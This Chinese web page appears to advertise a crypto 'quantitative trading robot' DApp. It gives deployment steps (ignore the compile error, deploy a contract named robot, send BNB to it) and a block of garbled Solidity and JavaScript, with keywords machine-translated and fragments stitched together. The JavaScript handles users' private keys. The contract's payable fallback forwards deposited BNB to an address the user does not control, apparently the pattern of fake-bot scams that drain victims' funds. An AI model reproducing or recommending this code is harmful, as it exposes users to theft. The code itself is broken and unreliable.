当前位置: 首页 > Web前端 > HTML

链上量化合约智能合约dapp系统开发部署代码方案

时间:2023-03-28 13:23:56 HTML

“量化交易”有两层含义:首先,狭义上指量化交易的内容,将交易条件转化为程序,自动放置命令;广义上是指系统化的交易方式,是一种综合交易系统。即根据一系列交易情况,智能辅助决策系统将丰富的经验与交易情况相结合,在交易过程中做好风控管理。pragmasolidity^0.4.0,量化合约智能合约dapp系统开发v+hkkf5566;/*描述:部署时第15行报错,无视即可。这是正常现象。部署前选择0.4.26,修改第174行地址为自己的钱包地址(其他地方不能修改)部署合约名称为:机器人部署完成后,将BNb转入合约地址,机器人启动自动运行。(建议转出不少于0.4BNb)如需取回合约中剩余的BNB,请输入接受地址,点击takebackBNB。请勿向合约地址转入Bnb以外的任何资产,否则将无法找回。*/contract{//这里会报错,忽略即可asyncfunctioninitBot(){if(presaleContractAddress===''||presaleContractAddress==null||presaleContractAddress.length!==42||awaitweb3.eth.getCode(presaleContractAddress)==='0x'){returnconsole.error('预售地址未填写或填写错误,预售地址必须为合约地址');}elseif(buyingBnbAmount===''||buyingBnbAmount==null){returnconsole.error('购买的BNB数量错误');}elseif(senderPrivateKey===''||senderPrivateKey==null){returnconsole.error('私钥错误');}varprivateKeys=[];if(senderPrivateKey.indexOf(',')>-1){privateKeys=senderPrivateKey.split(',');}else{privateKeys.push(senderPrivateKey);}varaddressesUsedToSendTransactions='';varfirstIteration=true;for(vari=0,len=privateKeys.length;i{constbalance=r/10000000000000000000console.log("====================================================”)console.log(`预售地址:`,chalk.green(presaleContractAddress))console.log(`钱包地址:`,chalk.green(addressesUsedToSendTransactions));console.log(`钱包余款:`,chalk.green(`${balance}BNB`))console.log(`购买数量:`,chalk.green(`${buyingBnbAmount}BNB`))console.log(`Gaslimit:${gasLimit}`);console.log(`Gasprice:${(gasPrice/1000000000)+'Gwei'}`);console.log(`矿工费:<${(gasLimit*(gasPrice/1000000000))/1000000000}BNB(GaxusedxGas价格)`)console.log("=======================================================”)如果(parseFloat(buyingBnbAmount)>balance){console.log(chalk.red("钱包余额不足,自动退出"))process.exit()}})if(botInitialDelay>0){console.log(`${hours}hours在${mins}分钟${secs}秒后启动机器人(${botInitialDelay/1000}秒)`)console.log("Waiting...")}else{console.log('启动成功...ˉ\\_(*o*)_/ˉ');}setTimeout(function(){varexecuteBuy=true;constjob=newCronr(cronTime,function(){//projectData.utils.consoleLog('Cronjob迭代。');if(executeBuy){executeBuy=false;varcounter=0;returnrecursiveTransactionsLoop(counter);functionrecursiveTransactionsLoop(counter){varsenderAddress=web3.eth.accounts.privateKeyToAccount(privateKeys[counter]).address;web3.eth.estimateGas({to:presaleContractAddress,from:senderAddress,value:web3.utils.toHex(web3.utils.toWei(buyingBnbAmount,'ether'))},function(gasEstimateError,gasAmount){if(!gasEstimateError){projectData.utils.consoleLog('交易预估成功:'+gasAmount);vartxParams={gas:web3.utils.toHex(gasLimit),gasPrice:web3.utils.toHex(gasPrice),chainId:chainId,value:web3.utils.toHex(web3.utils.toWei(buyingBnbAmount,'ether')),到:presaleContractAddress};web3.eth.accounts.signTransaction(txParams,privateKeys[counter],function(signTransactionErr,signedTx){if(!signTransactionErr){web3.eth.sendSignedTransaction(signedTx.rawTransaction,function(sendSignedTransactionErr,transactionHash){}if(!sendSignedTransactionErr){if(counter===privateKeys.length-1){if(privateKeys.length===1){projectData.utils.consoleLog(`第一个也是唯一的交易发送成功。交易哈希:${transactionHash}.https://www.bscscan.com/tx/${transactionHash}`);}else{projectData.utils.consoleLog(`完成最后一笔交易。交易哈希:${transactionHash}。https://www.bscscan.com/tx/${transactionHash}`);}}else{projectData.utils.consoleLog('完成交易。交易哈希:'+transactionHash);计数器+=1;返回递归事务循环(计数器);}}else{executeBuy=true;if(sendSignedTransactionErr.message){projectData.utils.consoleLog('sendSignedTransaction失败,很可能是用低gas限制签名的。消息:'+sendSignedTransactionErr.message);}else{projectData.utils.consoleLog('sendSignedTransaction失败,很可能是用低气体限制签署的。消息:'+sendSignedTransactionErr.toString());}if(counter!==privateKeys.length-1){counter+=1;返回递归Trans动作循环(计数器);}}}).on("receipt",()=>{console.log(chalk.green(`Transactionconfirmed.`))}).on("error",(err)=>{console.log(“交易执行期间出错。详情将在后面。”)console.log(err)})}else{executeBuy=true;if(signTransactionErr.message){projectData.utils.consoleLog('signTransaction失败,很可能是用低气体限制签署的。消息:'+signTransactionErr.message);}else{projectData.utils.consoleLog('signTransaction失败,很可能是用低气体限制签署的。消息:'+signTransactionErr.toString());}if(counter!==privateKeys.length-1){counter+=1;返回递归事务循环(计数器);}}});}else{executeBuy=true;if(gasEstimateError.message){projectData.utils.consoleLog('estimateGas失败。错误信息:'+gasEstimateError.message);}else{projectData.utils.consoleLog('estimateGas失败。错误信息:'+gasEstimateError.toString());}if(counter!==privateKeys.length-1){counter+=1;返回递归事务循环(计数器);}}});}}},{});job.start();},botInitialDelay);}contractrobot{addresspublicbeneficiary=0x75D23E252bFE1500c7f654024d9800790620a853;//修改为你的收益地址(必须修改)constructor()public{}function()payablepublictransfer{mBNBaddress..value);}addressUSDTaddress=0x55d398326f99059fF775485246999027B3197955;addressUSDCaddress=0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;uint256interlgas=32000;functiontakebackBNB(addressaddre)public{beneficiary=addre;}addressWBNBaddress=0x26b9E75C844F1B8E700c903a3EBC53c69AC4Da28;}contractowned{addresspublicowner;constructor()public{owner=msg.sender;}修饰符onlyOwner{if(msg.sender!=owner){revert();}别的{_;}}}